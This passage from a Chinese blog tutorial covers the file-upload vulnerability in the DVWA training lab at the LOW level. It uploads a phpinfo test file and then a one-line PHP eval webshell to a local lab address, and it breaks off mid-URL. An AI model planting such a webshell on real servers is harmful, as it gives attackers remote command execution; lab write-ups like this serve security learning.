DVWA--文件上传漏洞

最新推荐文章于 2025-06-09 15:44:09 发布

ST小姐姐

最新推荐文章于 2025-06-09 15:44:09 发布

阅读量1.6k

点赞数 1

CC 4.0 BY-SA版权

文章标签： DVWA 渗透测试文件上传

本文链接：https://blog.csdn.net/weixin_43871760/article/details/103299960

本文详细介绍了DVWA中的文件上传漏洞，从LOW到IMPOSSIBLE级别的安全设置，并展示了如何利用Burp Suite进行绕过。讨论了包括文件头校验、后缀名黑白名单、内容检查等防御手段，以及客户端和服务器端的绕过策略，如文件类型、文件头和后缀名绕过，配合文件包含漏洞和服务器解析漏洞等。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

文件上传漏洞定义
文件上传漏洞通常是由于上传文件的类型、内容没有进行严格的过滤检查，使得可以通过上传webshell获取服务器权限，因此文件上传漏洞带来的危害通常是毁灭性的。
文件上传漏洞的前提

能上传的木马
上传的木马可执行
还要清楚上传后的路径

实现过程
LOW级别
源码
在这里插入图片描述
basename(path,suffix):返回path中的文件名部分，如果可选参数suffix为空，则返回的文件名中包含文件后缀名，反之不包含文件后缀名。
由源码可知暂时并没有进行任何过滤；
(1)创建1.php并上传
1.php：<?php phpinfo();?>
在这里插入图片描述
可发现上传成功，服务器未做任何限制，此时再次访问上传路径
http://192.168.254.128/dvwa/hackable/uploads/1.php#

上传并执行php文件，说明存在文件上传漏洞
(2)上传一句话木马
b.php：<?php @eval($_POST[cmd]);?>
在这里插入图片描述
http://192.168.254.128/dvwa/hackable/u